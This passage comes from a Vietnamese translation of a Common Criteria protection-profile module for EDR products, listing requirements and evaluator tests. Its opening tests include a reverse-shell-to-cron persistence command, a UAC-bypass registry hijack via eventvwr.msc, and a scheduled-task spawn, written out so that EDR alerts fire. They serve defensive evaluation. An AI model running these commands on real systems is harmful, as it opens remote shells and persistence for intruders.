đường dẫn thư mục hợp lệ được ghi bởi người dùng hiện tại.****Thử nghiệm 2****: Đánh giá viên phải mở dấu nhắc lệnh Windows với tư cách là người dùng và chạy lệnh reg.exe add hkcu\software\classes\msctệp tin\shell\open\command /ve /d "<local executable>" /f, trong đó tệp thực thi cục bộ là đường dẫn tệp hợp lệ đến tệp thực thi cục bộ, có thể đọc được. Thực hiện đánh giá hoặc chạy lệnh cmd.exe /c eventvwr.msc trong cùng một cửa sổ dấu nhắc lệnh sau đó.****Thử nghiệm 3****: Đánh giá viên phải mở dấu nhắc lệnh Windows với tư cách là người dùng và chạy lệnh SCHTASKS /Create /SC ONCE /TN spawn /TR <loccutable>" /ST <time>,trong đó tệp thực thi cục bộ là đường dẫn tệp hợp lệ đến tệp có thể đọc được, thực thi cục bộ và thời gian là thời gian bắt đầu xảy ra trong khoảng thời gian kể từ khi tác vụ được tạo.****Đối với Linux****, Đánh giá viên phải kiểm tra khả năng phát hiện hoạt động bất thường của EDR bằng cách thực hiện các kiểm tra phụ theo dõi dựa trên nền tảng của hệ thống Máy chủ trung gian đã đăng ký, xác minh cho từng cảnh báo tương ứng được tạo trong giao diện quản trị:****Thử nghiệm 1****: Đánh giá viên phải mở một thiết bị điểm cuối và chạy lệnh scp<remote user>@<remote host>: <remote path> <download directory>, trong đó người dùng từ xa là người dùng hợp lệ trên máy chủ từ xa; đường dẫn từ xa là một đường dẫn hợp lệ cho một tệp thực thi được lưu trữ từ xa và thư mục tải xuống là một đường dẫn thư mục hợp lệ được ghi bởi người dùng cục bộ hiện tại. Mật khẩu của user từ xa sẽ được cung cấp khi được nhắc.****Thử nghiệm 2****: Đánh giá viên phải mở một thiết bị điểm cuối và chạy lặp lại lệnh "bash -i >& /dev/tcp/<outside IP>/5050 0>&1 1 &" > /etc/cron.hourly/persist, trong đó IP bên ngoài là một địa chỉ bên ngoài hợp lệ.****Đối với tất cả các nền tảng:******Thử nghiệm 1****: Đánh giá viên phải xem xét cảnh báo trên giao diện quản trị và xác minh rằng cảnh báo có chứa trường mức độ nghiêm trọng và các trường được chỉ định trong ST. Đánh giá viên phải mở hoặc xem cảnh báo và xác minh rằng dòng thời gian của các sự kiện có sẵn để xem xét. Dòng thời gian sẽ hiển thị sự tiến triển của các sự kiện theo thời gian.****Thử nghiệm 2:*** *Đánh giá viên phải chọn một cảnh báo trên giao diện quản trị và xuất cảnh báo ở mọi định dạng được chỉ định trong ST. Đánh giá viên phải xem xét hướng dẫn vận hành và lựa chọn từ yêu cầu và xác minh rằng các tùy chọn xuất tồn tại cho tất cả các định dạng được khai báo trong lựa chọn. Sau khi xuất một cảnh báo cho mỗi định dạng có thể, Đánh giá viên phải xem xét nội dung tệp của cảnh báo đã xuất và xác minh đó là định dạng chính xác cho tùy chọn xuất đã chọn (ví dụ: bản xuất thuộc loại IODEF phải chứa 'IODEF-Document' trong phần tử đầu tiên của tệp đã xuất).* |

**9.3.1.2 FAU\_COL\_EXT.1 Dữ liệu điểm cuối được thu thập**

**FAU\_COL\_EXT.1.1**

EDR phải thu thập bộ dữ liệu điểm cuối sau đây từ tác nhân máy chủ:

a. Phiên bản Hệ điều hành, kiến trúc và Địa chỉ IP,

b. Hoạt động đăng nhập tài khoản tại thiết bị điểm cuối đặc quyền và không có đặc quyền;

c. Tạo quy trình,

d. Thư viện và cấu trúc được tải bởi các quy trình,

e. Tên tệp và [ **chỉ định**: *metadata khác*] của các tệp được tạo và [ **chỉ định**: *các hoạt động khác được thực hiện với các tệp* ] được lưu trữ liên tục.

f. [ **chỉ định**: *Dữ liệu máy chủ khác* ].

**Lưu ý áp dụng**: Mục đích của yêu cầu này là chỉ định tập hợp dữ liệu điểm cuối tối thiểu mà EDR phải có khả năng thu thập. Việc kiểm tra có thể bỏ qua một mục hoặc nhiều mục.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải xác minh tất cả các loại dữ liệu sự kiện điểm cuối hỗ trợ được mô tả.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động và xác định TSS liệt kê tất cả các loại dữ liệu sự kiện điểm cuối có thể thu thập được.* |
| Đánh giá | *Đánh giá viên thực hiện các bài kiểm tra sau:****Thử nghiệm 1****: Đánh giá viên phải xác minh phiên bản hệ điều hành, kiến trúc và địa chỉ IP của hệ thống do máy chủ trung gian quản lý so với dữ liệu được báo cáo cho EDR.****Thử nghiệm 2****: Đánh giá viên phải đăng nhập vào một hệ thống được quản lý bởi máy chủ trung gian với hai tài khoản riêng biệt và xác minh rằng hoạt động được báo cáo chính xác cho EDR.****Thử nghiệm 3****: Đánh giá viên sẽ chạy một ứng dụng người dùng đã biết được cung cấp trên HĐH nền tảng và xác minh rằng việc tạo quy trình và tải mô-đun tiếp theo được báo cáo chính xác cho EDR.* ***Thử nghiệm 4:*** *Đánh giá viên phải khởi tạo một tài liệu rỗng mới trong kho lưu trữ liên tục và xác minh rằng hoạt động được báo cáo chính xác cho EDR.****Thử nghiệm 5****: Đánh giá viên phải thực hiện một hành động gây ra một sự kiện xảy ra cho tất cả các mục trong nhiệm vụ và xác minh hoạt động được báo cáo cho EDR.* |

**9.3.1.3 FAU\_GEN.1/EDR Tạo dữ liệu kiểm tra**

**FAU\_GEN.1.1/EDR**

**Tinh chỉnh**: EDR sẽ tạo hồ sơ kiểm toán về các sự kiện có thể kiểm toán sau:

a. Tất cả các sự kiện có thể kiểm toán cho [mức độ không được chỉ định];

b. Hoạt động đăng nhập giao diện quản trị EDR;

c. Lệnh khắc phục được gửi đến tác nhân máy chủ, điểm cuối hoặc hệ thống thiết bị mạng bị ảnh hưởng;

d. Thay đổi cấu hình EDR;

e. [ **chỉ định**: *Các sự kiện có thể kiểm toán khác* ]

**Lưu ý áp dụng**: Mục đích của yêu cầu này là chỉ định tập hợp tối thiểu các bản ghi Thử nghiệm được tạo ra về các hành động trên EDR.

**FAU\_GEN.1.2/EDR**

**Tinh chỉnh:** EDR sẽ ghi lại trong mỗi hồ sơ kiểm toán ít nhất là các thông tin sau:

a. Ngày và giờ diễn ra sự kiện,

b. Loại sự kiện,

c. Danh tính đối tượng,

d. Kết quả (thành công hay thất bại) của sự kiện,

e. Đối với mỗi loại kiểm toán, dựa trên các định nghĩa sự kiện có thể kiểm toán của các thành phần chức năng có trong PP / ST, [ **chỉ định**: *Thông tin liên quan đến kiểm toán khác* ].

**Lưu ý áp dụng**: Yêu cầu này phác thảo thông tin điện tử sẽ được đưa vào hồ sơ kiểm toán. Tất cả các cuộc kiểm toán phải chứa ít nhất thông tin được đề cập trong FAU\_GEN.1.2 / EDR, nhưng có thể chứa nhiều thông tin hơn có thể được chỉ định.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo**  |
| TSS | *Đánh giá viên phải kiểm tra để xác định TSS liệt kê tất cả các sự kiện có thể kiểm toán được yêu cầu trong SFR. Đánh giá viên phải kiểm tra để đảm bảo rằng mọi loại sự kiện kiểm toán do SFR chỉ định đều được mô tả trong TSS.**Đánh giá viên phải kiểm tra để xác định TSS cung cấp một định dạng cho hồ sơ kiểm toán. Mỗi loại định dạng chuỗi kiểm toán phải được bao quát cùng với mô tả ngắn gọn về từng trường.* |
| Hướng dẫn | *Đánh giá viên phải kiểm tra hướng dẫn vận hành và xác định TSS liệt kê tất cả các sự kiện có thể kiểm toán được yêu cầu trong SFR. Đánh giá viên phải kiểm tra để đảm bảo rằng mọi loại sự kiện kiểm toán do SFR bắt buộc đều được mô tả.**Đánh giá viên phải kiểm tra hướng dẫn vận hành và xác định các lệnh nào có liên quan đến cấu hình (bao gồm cho phép hoặc vô hiệu hóa) các cơ chế được thực hiện trong EDR cần thiết để thực thi các yêu cầu được chỉ định trong PP-module. Đánh giá viên phải ghi lại phương pháp hoặc cách tiếp cận được thực hiện trong khi xác định hành động nào trong hướng dẫn vận hành có liên quan đến an toàn liên quan đến PP-Module này. Đánh giá viên có thể thực hiện hoạt động này như một phần của các hoạt động liên quan đến việc đảm bảo AGD\_OPE hướng dẫn đáp ứng các yêu cầu.**Đánh giá viên phải kiểm tra hướng dẫn vận hành và xác định TSS cung cấp một định dạng cho hồ sơ kiểm toán. Mỗi loại định dạng bản ghi kiểm toán phải được bảo hiểm, cùng với một mô tả ngắn gọn về từng trường. Đánh giá viên phải kiểm tra để đảm bảo rằng mô tả của các trường chứa thông tin cần thiết trong FAU\_GEN.1.2 / EDR.* |
| Đánh giá | *Đánh giá viên phải thực hiện các thử nghiệm sau:****Thử nghiệm 1:*** *Đánh giá viên phải đăng nhập vào giao diện quản trị EDR và xác minh rằng dữ liệu nhật ký kiểm tra mô tả các hoạt động được ghi lại.****Thử nghiệm 2:*** *Đánh giá viên phải đưa ra lệnh khắc phục hợp lệ do EDR cung cấp cho Tác nhân máy chủ, lần thứ hai xác minh rằng dữ liệu nhật ký kiểm tra mô tả hoạt động được ghi lại trên giao diện quản trị EDR.****Thử nghiệm 3:*** *Đánh giá viên phải thay đổi tùy chọn cấu hình EDR không phá hoại trong giao diện quản trị EDR, thay đổi nó trở lại cài đặt ban đầu và xác minh rằng dữ liệu nhật ký đánh giá mô tả hoạt động được ghi lại.****Thử nghiệm 4:*** *Đánh giá viên phải thực hiện hành động để tạo ra tất cả các sự kiện có thể đánh giá khác được liệt kê trong nhiệm vụ và xác minh hoạt động được ghi lại. Khi xác minh kết quả kiểm tra từ FAU\_GEN.1.1 / EDR, Đánh giá viên phải đảm bảo hồ sơ kiểm toán được tạo trong quá trình thử nghiệm khớp với định dạng được chỉ định tronghướng dẫn quản trị và các trường trong mỗi hồ sơ kiểm toán có mục nhập thích hợp.****Lưu ý:*** *Việc thử nghiệm ở đây có thể được thực hiện cùng với việc kiểm tra trực tiếp các cơ chế đảm bảo an toàn. Ví dụ: thử nghiệm được thực hiện để đảm bảo rằnghướng dẫn vận hành được cung cấp là chính xác, xác minh rằng AGD\_OPE.1 được thoả mãn và thực hiện các hành động quản trị cần thiết để xác minh hồ sơ kiểm toán được khởi tạo.* |

**9.3.2 FIA: Định danh và xác thực**

**9.3.2.1 FIA\_AUT\_EXT.1 Cơ chế xác thực giao diện quản trị**

**FIA\_AUT\_EXT.1.1**

EDR phải có một trong các tính năng: tận dụng nền tảng để xác thực, cung cấp xác thực dựa trên tên người dùng/mật khẩu và lựa chọn xác thực bằng thẻ thông minh bên ngoài và mã PIN, để hỗ trợ đăng nhập vào bất kỳ giao diện quản trị hoặc API nào.

**Lưu ý áp dụng**: Lựa chọn chỉ định nếu Smartcards cũng được hỗ trợ, thì phải có lựa chọn bổ sung.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo**  |
| TSS | *Đánh giá viên phải kiểm tra xác định TSS mô tả cách xác thực người dùng được thực hiện. Đánh giá viên phải xác minh rằng các phương pháp ủy quyền được liệt kê trong TSS được chỉ định và bao gồm trong các yêu cầu trong ST.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định TSS chứa tài liệu về việc định cấu hình bất kỳ cơ chế xác thực được hỗ trợ nào và bất kỳ hỗ trợ nào cho xác thực đa yếu tố.* |
| Đánh giá | ***Thử nghiệm 1****: Điều kiện: Nếu "cung cấp các cơ chế xác thực qua tài khoản và mật khẩu" được chọn, Đánh giá viên phải tạo tài khoản có tên người dùng và mật khẩu, xác minh rằng xác thực đăng nhập có phân biệt chữ hoa chữ thường. Nếu các yếu tố bổ sung được đảm bảo, mỗi một nhân tố sẽ được kiểm tra để truy cập đăng nhập với xác thực đồng nhất nghiêm ngặt cho những người được kích hoạt. Đánh giá viên phải xác minh rằng quyền truy cập đăng nhập được cấp cho thông tin đăng nhập là chính xác và bị từ chối trong trường hợp thông tin đăng nhập không chính xác trên các yếu tố có sẵn.****Thử nghiệm 2:*** *Điều kiện: Nếu "tận dụng nền tảng" được chọn, Đánh giá viên phải tạo một tài khoản theo các quy tắc nền tảng. Nếu các yếu tố bổ sung được cung cấp, mỗi yếu tố sẽ được kiểm tra quyền truy cập đăng nhập với xác thực nhất trí nghiêm ngặt cho những người được kích hoạt. Đánh giá viên phải xác minh rằng quyền truy cập đăng nhập được cấp cho thông tin đăng nhập chính xác và bị từ chối trong trường hợp thông tin đăng nhập không chính xác trên các yếu tố có sẵn.* |

**9.3.2.2 FIA\_PWD\_EXT.1 Xác thực mật khẩu**

**FIA\_PWD\_EXT.1.1**

EDR phải hỗ trợ các yếu tố xác thực mật khẩu sau:

Mật khẩu phải bao gồm bất kỳ tổ hợp nào của [**lựa chọn**: chữ hoa và chữ thường, [**chỉ định***: một bộ ký tự ít nhất 52 ký tự*]], số và ký tự đặc biệt: [ **lựa chọn**: "!", "@", "#", "$", "%", "^", "&", "\*", "(", ")", [ **chỉ định***:* *các dữ liệu khác* ]], độ dài mật khẩu lên đến [**chỉ định**: *một số nguyên lớn hơn hoặc bằng 64*] ký tự sẽ được hỗ trợ.

**Lưu ý áp dụng**: Đơn vị cung cấp TOE chọn bộ ký tự: chữ hoa và chữ thường Chữ Latinh cơ bản hoặc một bộ ký tự được chỉ định khác chứa ít nhất 52 ký tự. Bộ ký tự được chỉ định phải được xác định rõ: theo tiêu chuẩn mã hóa quốc tế (chẳng hạn như Unicode) hoặc được xác định trong sự chỉ định của Đánh giá viên. Đơn vị cung cấp TOE cũng chọn các ký tự đặc biệt được TOE hỗ trợ; có thể tùy chọn liệt kê các ký tự đặc biệt bổ sung được hỗ trợ bằng cách sử dụng thử nghiệm.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải xác minh TSS bao gồm tất cả các ký tự, quy tắc và giới hạn được hỗ trợ được sử dụng bởi EDR và đáp ứng các yêu cầu của SFR.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định TSS chứa tài liệu về chính sách mật khẩu mặc định.* |
| Đánh giá | *Đánh giá viên thực hiện các bài kiểm tra sau:****Thử nghiệm 1:*** *Đánh giá viên phải xác minh rằng mật khẩu có tối đa 64 ký tự được hỗ trợ.****Thử nghiệm 2:*** *Đánh giá viên phải xác minh rằng các quy tắc thành phần mật khẩu có trong hướng dẫn hoạt động được thực thi. Mặc dù Đánh giá viên không bắt buộc để kiểm tra tất cả các quy tắc thành phần có thể, Đánh giá viên phải đảm bảo rằng tất cả các ký tự được hỗ trợ và các đặc điểm quy luật được liệt kê trong yêu cầu được thực thi.* |

**9.3.3 Quản lý an toàn (FMT)**

**9.3.3.1 FMT\_SMF.1/ENDPOINT Đặc điểm kỹ thuật của chức năng quản lý (Quản lý EDR của EDR)**

**FMT\_SMF.1.1/ENDPOINT**

**Tinh chỉnh:** **EDR** sẽ có khả năng thực hiện các chức năng quản lý sau:

|  |  |  |  |
| --- | --- | --- | --- |
| **Chức năng quản lý** | **Quản trị** | **Chuyên gia phân tích SOC** | **Người đọc** |
| Cấu hình lượng thời gian để lưu giữ dữ liệu được EDR thu thập [**chỉ định**: *khung thời gian để lưu giữ dữ liệu*] | M | O | - |
| Nhận hoặc hiển thị trạng thái kết nối của Tác nhân máy chủ | M | O | O |
| Cấu hình xác định danh sách từ chối gồm [ **lựa chọn**: tên tệp, thư mục, hàm băm tệp, [ **chỉ định***: các yếu tố khác ]*] | O | M | - |
| Định cấu hình ngăn chặn trực quan các cảnh báo sự cố dựa trên danh sách từ chối có thể định cấu hình gồm [ **lựa chọn***:* tên tệp, thư mục, hàm băm tệp, [**chỉ định**: *các yếu tố khác]*] | O | M | - |

Chú giải bảng: M = Bắt buộc, O = Tùy chọn, - = Không xác định

**Lưu ý áp dụng:** Yêu cầu này bao gồm tất cả các chức năng cấu hình TSF cung cấp cho quản trị viên để cấu hình EDR.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo**  |
| TSS | *Đánh giá viên phải xác minh TSS chứa một danh sách các vai trò và những chức năng họ có thể thực hiện. Đánh giá viên phải xác minh danh sách phù hợp với khung yêu cầu. Đánh giá viên kiểm tra xem TSS có mô tả về các giao thức mà IPS hỗ trợ có tương thích với các giao thức ở trên hay không.*  |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác minh rằng EDR có cung cấp các tài liệu để thực hiện các chức năng quản lý.* |
| Đánh giá | *Đánh giá viên phải thực hiện các bài kiểm tra dưới đây với từng vai trò, xác minh từng vai trò bị từ chối hoặc có thể hoàn thành hành động dưới đây theo quy định của khung SFR:****Thử nghiệm 1:*** *Đánh giá viên phải định cấu hình lượng thời gian để giữ lại dữ liệu EDR được thu thập vào khung thời gian trong đó dữ liệu hiện có sẽ không khả dụng và xác minh rằng dữ liệu không còn có thể truy cập được thông qua giao diện quản trị.****Thử nghiệm 2:*** *Đánh giá viên phải hạn chế về mặt vật lý hoặc tác động vật lý tới các liên lạc mạng giữa hệ thống điểm cuối được quản lý và máy chủ EDR và xác minh rằng trạng thái kết nối bị hạn chế hoặc tạm dừng của Tác nhân máy chủ được định danh trên giao diện quản trị EDR.* ***Thử nghiệm 3****: Đánh giá viên phải hạn chế về mặt vật lý hoặc tác động hợp lý lên các giao tiếp mạng giữa hệ thống điểm cuối được quản lý và máy chủ EDR và xác minh rằng trạng thái kết nối bị hạn chế hoặc tạm dừng của Tác nhân máy chủ được định danh trên giao diện quản trị EDR.****Thử nghiệm 4:*** *Đánh giá viên phải thử từng hàm với từng vai trò và xác minh truy cập phù hợp với hiển thị trong yêu cầu.* |

**9.3.3.2 FMT\_SMF.1/ Host Đặc điểm kỹ thuật của chức năng quản lý (Quản lý EDR của máy chủ trung gian)**

**FMT\_SMF.1.1/HOST**

**Tinh chỉnh:** **EDR** phải có khả năng thực hiện các chức năng **kiểm soát hành vi của Tác nhân máy chủ** sau đây:

|  |  |  |  |
| --- | --- | --- | --- |
| **Chức năng quản lý** | **Quản trị** | **Chuyên gia phân tích SOC** | **Người đọc** |
| Cấu hình khung thời gian để gửi dữ liệu từ Tác nhân máy chủ tới EDR [ **chỉ định**: *danh sách các khung thời gian có thể định cấu hình* ] | M | O | - |
| Chỉ định nhãn hoặc thẻ để phân loại hoặc nhóm các hệ thống điểm cuối riêng lẻ | M | O | - |

Chú giải bảng: M = Bắt buộc, O = Tùy chọn, - = Không xác định

**Lưu ý áp dụng:** Yêu cầu này bao gồm tất cả chức năng cấu hình mà EDR cung cấp cho quản trị viên để cấu hình Tác nhân máy chủ EDR.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo**  |
| TSS | *Đánh giá viên phải phải xác minh TSS có chứa danh sách các vai trò và những chức năng nào có thể thực hiện. Đánh giá viên phải xác minh danh sách khớp với khung yêu cầu.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn vận hành để xác minh rằng EDR có các khả năng được lập thành văn bản để thực hiện các chức năng quản lý.* |
| Đánh giá | *Đánh giá viên phải thực hiện các bài kiểm tra dưới đây:****Thử nghiệm 1:*** *Đánh giá viên phải sửa đổi khung thời gian gửi dữ liệu của Tác nhân máy chủ tới EDR và xác minh rằng Tác nhân máy chủ bị ảnh hưởng đang gửi dữ liệu theo khoảng thời gian đã xác định.****Thử nghiệm 2:*** *Đánh giá viên phải* *gắn thẻ hoặc phân loại một nhóm các hệ thống điểm cuối riêng lẻ và xác minh rằng thẻ hoặc phân loại vẫn tồn tại trong bảng điều khiển quản lý EDR của những người dùng khác.* ***Thử nghiệm 3****: Đánh giá viên phải thử từng chức năng với từng vai trò và xác minh quyền truy cập phù hợp với khung yêu cầu.* |

**9.3.3.3 FMT\_SM R.1 Vai trò quản lý an toàn**

**FMT\_SMR.1.1**

**Tinh chỉnh:** **EDR** phải duy trì vai trò [*quản trị viên, chuyên gia phân tích SOC, người đọc*].

**FMT\_SMR.1.2**

**Tinh chỉnh:** **EDR** phải có khả năng liên kết người dùng với vai trò.

**Lưu ý áp dụng:** EDR phải được cấu hình, duy trì và sử dụng bởi các vai trò người dùng khác nhau. Tối thiểu, một vai trò quản trị phải được hỗ trợ, một chuyên gia phân tích SOC có thể ban hành lệnh khắc phục cho các Tác nhân máy chủ và một người dùng chỉ được phép đọc chỉ có thể xem dữ liệu.

Tài khoản người dùng không cần phải được đặt tên theo nội dung, nhưng phải có ý nghĩa của các vai trò theo phân quyền.

CC Phần 2 chỉ định FIA\_UID.1 là sự phụ thuộc của yêu cầu này vì TSF phải có một số cách để xác định người dùng để họ có thể được liên kết với vai trò quản lý. Sự phụ thuộc này được giải quyết thông qua FIA\_AUT\_EXT.1, trong đó chỉ định một phương pháp định danh người dùng thay thế.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải kiểm tra TSS để xác minh rằng nó mô tả vai trò và quyền hạn được cấp và hạn chế của vai trò.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định TSS chứa các hướng dẫn để quản lý EDR, vai trò người dùng nào được hỗ trợ và quyền nào mà mỗi vai trò có.* |
| Đánh giá | ***Thử nghiệm 1:*** *Đánh giá viên phải xác minh rằng vai trò của quản trị viên hoặc, chuyên gia phân tích SOC và người đọc có sẵn, tạo các tài khoản riêng lẻ với mỗi vai trò được chỉ định.****Thử nghiệm 2:*** *Đánh giá viên phải xác minh rằng vai trò không phải là quản trị viên không thể sửa đổi vai trò của tài khoản của chính họ hoặc của người khác.****Thử nghiệm 3:*** *Trong quá trình thực hiện các hoạt động thử nghiệm để đánh giá, Đánh giá viên phải sử dụng tất cả các giao diện được hỗ trợ, mặc dù không cần thiết phải lặp lại mỗi thử nghiệm liên quan đến một hành động quản trị với mỗi giao diện. Tuy nhiên, Đánh giá viên phải đảm bảo rằng mỗi phương pháp được hỗ trợ để quản lý EDR phù hợp với các yêu cầu của Hồ sơ bảo vệ này đều được thử nghiệm; ví dụ: nếu EDR có thể được quản lý thông qua giao diện phần cứng cục bộ hoặc TLS / HTTPS thì cả hai phương pháp quản lý phải được thực hiện trong quá trình thực hiện các hoạt động thử nghiệm.****Thử nghiệm 4:*** *Đánh giá viên phải thử từng chức năng với từng vai trò và xác minh quyền truy cập phù hợp với khung yêu cầu.* |

**9.3.3.4 FMT\_SRF\_EXT.1 Đặc điểm kỹ thuật của các chức năng khắc phục**

**FMT\_SRF\_EXT.1.1**

EDR có khả năng thực hiện các chức năng khắc phục sau đây:

|  |  |  |  |
| --- | --- | --- | --- |
| **Chức năng quản lý** | **Quản trị** | **Chuyên gia phân tích SOC** | **Người đọc** |
| Cách ly một điểm cuối bằng cách [**lựa chọn**: cách ly một cách hợp lý điểm cuối khỏi mạng trừ khi được liệt kê cho phép, cách ly tệp độc hại trên điểm cuối] | O | M | - |
| Chấm dứt quá trình đang chạy trên một điểm cuối | O | M | - |
| Truy xuất các tệp có khả năng bị ảnh hưởng hoặc trái phép từ một điểm cuối | O | O | - |

Chú giải bảng: M = Bắt buộc, O = Tùy chọn, - = Không xác định

**Lưu ý áp dụng:** Yêu cầu này ghi lại tất cả các chức năng khắc phục mà EDR cung cấp cho chuyên gia phân tích SOC và tùy chọn Quản trị viên.

Cách ly hợp lý khỏi mạng đề cập đến việc hạn chế giao tiếp từ điểm cuối đến phần còn lại của mạng, có thể bao gồm một danh sách cho phép bị hạn chế.

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải kiểm tra để đảm bảo rằng TSS mô tả vai trò nào có thể thực hiện những hành động khắc phục nào và cách thực hiện từng hành động khắc phục.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác minh rằng EDR có khả năng để thực hiện các chức năng quản lý.* |
| Đánh giá | *Đối với mỗi vai trò, Đánh giá viên phải thực hiện các thử nghiệm dưới đây, xác minh rằng mỗi vai trò trong biểu đồ có thể thực hiện các chức năng được phép của chúng và bị hạn chế thực hiện các chức năng mà chúng không có quyền truy cập theo chú giải (Chú giải biểu đồ: M = Bắt buộc, O = Tùy chọn, - = Không xác định):****Thử nghiệm 1:*** *Điều kiện: Nếu "cách ly hợp lý điểm cuối khỏi mạng trừ khi được cho phép" được chọn, Đánh giá viên phải cách ly hợp lý hệ thống điểm cuối được quản lý khỏi mạng và xác minh rằng hệ thống không thể truy cập địa chỉ mạng hoặc tài nguyên bên ngoài danh sách cho phép.****Thử nghiệm 2:*** *Điều kiện: Nếu "cách ly tệp độc hại trên điểm cuối" được chọn, Đánh giá viên phải xác minh chức năng cách ly các tệp có khả năng trái phép trên điểm cuối.****Thử nghiệm 3:*** *Đánh giá viên phải chạy một tệp thực thi trên hệ thống điểm cuối được quản lý, chấm dứt quy trình của nó khỏi giao diện quản trị EDR và sau đó xác minh rằng quy trình không còn chạy trên hệ thống.****Thử nghiệm 4:*** *Đánh giá viên phải đặt một tệp được biết là kích hoạt cảnh báo sự cố trên hệ thống tệp sau đó truy xuất nội dung của tệp từ bảng điều khiển quản lý EDR.* |

**9.3.4 FPT: Bảo vệ TSF**

**9.3.4.1 FPT: FPT\_ITT.1 Bảo vệ truyền dữ liệu TSF nội bộ cơ bản**

**FPT\_ITT.1.1**

**Tinh chỉnh**: **EDR** phải [ **lựa chọn**:

- thực hiện [ **lựa chọn**: TLS như được định nghĩa trong gói TLS, HTTPS như được định nghĩa trong Hồ sơ bảo vệ cơ sở ]***,***

- gọi chức năng do nền tảng cung cấp cho [**lựa chọn**: TLS, HTTPS]]

để bảo vệ dữ liệu TSF khỏi *[sửa đổi, tiết lộ]* khi được truyền tải giữa các phần riêng biệt của TOE.

**Lưu ý áp dụng**: Mục đích của yêu cầu trên là sử dụng các giao thức mật mã được xác định trong yêu cầu thiết lập và duy trì một kênh đáng tin cậy giữa EDR và Tác nhân máy chủ, được coi là các phần riêng biệt của TOE. Gói TLS cho phép sử dụng TLS hoặc DTLS. Chỉ có thể sử dụng TLS, DTLS hoặc HTTPS trong kênh đáng tin cậy này.

Yêu cầu này là để đảm bảo rằng việc truyền bất kỳ nhật ký, danh sách quy trình, thông tin hệ thống, v.v. khi được lệnh hoặc trong khoảng thời gian cấu hình, được bảo vệ đúng cách. Kênh nội bộ này cũng bảo vệ mọi lệnh và chính sách do EDR gửi cho tác nhân máy chủ. Tác nhân máy chủ hoặc EDR đều có thể bắt đầu kết nối.

Kênh nội bộ này bảo vệ kết nối giữa tác nhân máy chủ với EDR và các kết nối giữa tác nhân máy chủ không được kiểm soát với EDR trong quá trình đăng ký hoạt động. Các giao thức khác nhau có thể được sử dụng cho hai kết nối này và mô tả trong TSS sẽ làm rõ sự khác biệt này.

Kênh nội bộ sử dụng giao thức từ gói TLS hoặc HTTPS làm giao thức bảo vệ tính an toàn và tính toàn vẹn của thông tin liên lạc. Đánh giá viên chọn cơ chế hoặc cơ chế được hỗ trợ bởi EDR, và sau đó đảm bảo các yêu cầu chính xác được bao gồm trong ST nếu chưa tồn tại. Giao thức, RBG, xác thực chứng chỉ, thuật toán và các dịch vụ tương tự có thể được đáp ứng với các dịch vụ do nền tảng cung cấp.

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Nếu "gọi chức năng do nền tảng cung cấp cho..." được chọn, Đánh giá viên phải xác minh TSS chứa các lệnh đến nền tảng mà TOE đang tận dụng để gọi chức năng.**Nếu "thực hiện..." được chọn, Đánh giá viên phải kiểm tra TSS để xác minh cách bảo vệ thông tin liên lạc của Agent- Server và phù hợp với SFR. Đánh giá viên phải xác nhận rằng tất cả các giao thức được liệt kê trong TSS phù hợp với các giao thức được chỉ định trong yêu cầu và được bao gồm trong các yêu cầu trong ST.* |
| Hướng dẫn | *Đánh giá viên phải xác nhận rằng hướng dẫn hoạt động chứa hướng dẫn cấu hình kênh liên lạc giữa Tác nhân máy chủ và EDR cho từng phương pháp được hỗ trợ.* |
| Đánh giá | ***Thử nghiệm 1:*** *Đánh giá viên phải giả định rằng các thông tin liên lạc sử dụng từng phương thức truyền thông Agent-Server được chỉ định (trong hướng dẫn hoạt động) được kiểm tra trong quá trình đánh giá, thiết lập các kết nối như được mô tả trong hướng dẫn hoạt động và đảm bảo rằng giao tiếp thành công.****Thử nghiệm 2:*** *Đánh giá viên phải đảm bảo, cho từng phương pháp máy chủ ngoại vi thông tin liên lạc, dữ liệu kênh không được gửi bằng văn bản thuần túy.* |

**9.3.5 FTP: Đường dẫn / Kênh đáng tin cậy**

**9.3.5.1 FTP\_TRP.1 Đường dẫn Tin cậy**

**FTP\_TRP.1.1**

**Tinh chỉnh:** **EDR** phải [**lựa chọn**:

- thực hiện [**lựa chọn**: TLS như được định nghĩa trong Gói TLS, HTTPS như được định nghĩa trong Hồ sơ bảo vệ cơ sở],

- gọi chức năng do nền tảng cung cấp cho [**lựa chọn**: TLS, HTTPS]

**] để** cung cấp một đường dẫn giao tiếp giữa chính nó và các quản trị viên từ xa khác biệt về mặt logic và cung cấp xác định chắc chắn về các điểm cuối của nó và bảo vệ dữ liệu được truyền đạt khỏi [*sửa đổi, tiết lộ*].

**FTP\_TRP.1.2**

**Tinh chỉnh:** **EDR** phải [**lựa chọn**: thực hiện chức năng, gọi chức năng do nền tảng cung cấp] **để** cho phép [*quản trị viên từ xa*] bắt đầu giao tiếp thông qua đường dẫn đáng tin cậy.

**FTP\_TRP.1.3**

**Tinh chỉnh:** **EDR** phải [**lựa chọn**: thực hiện chức năng, gọi chức năng do nền tảng cung cấp] **để** yêu cầu sử dụng đường dẫn đáng tin cậy cho [*một hành động quản trị từ xa*].

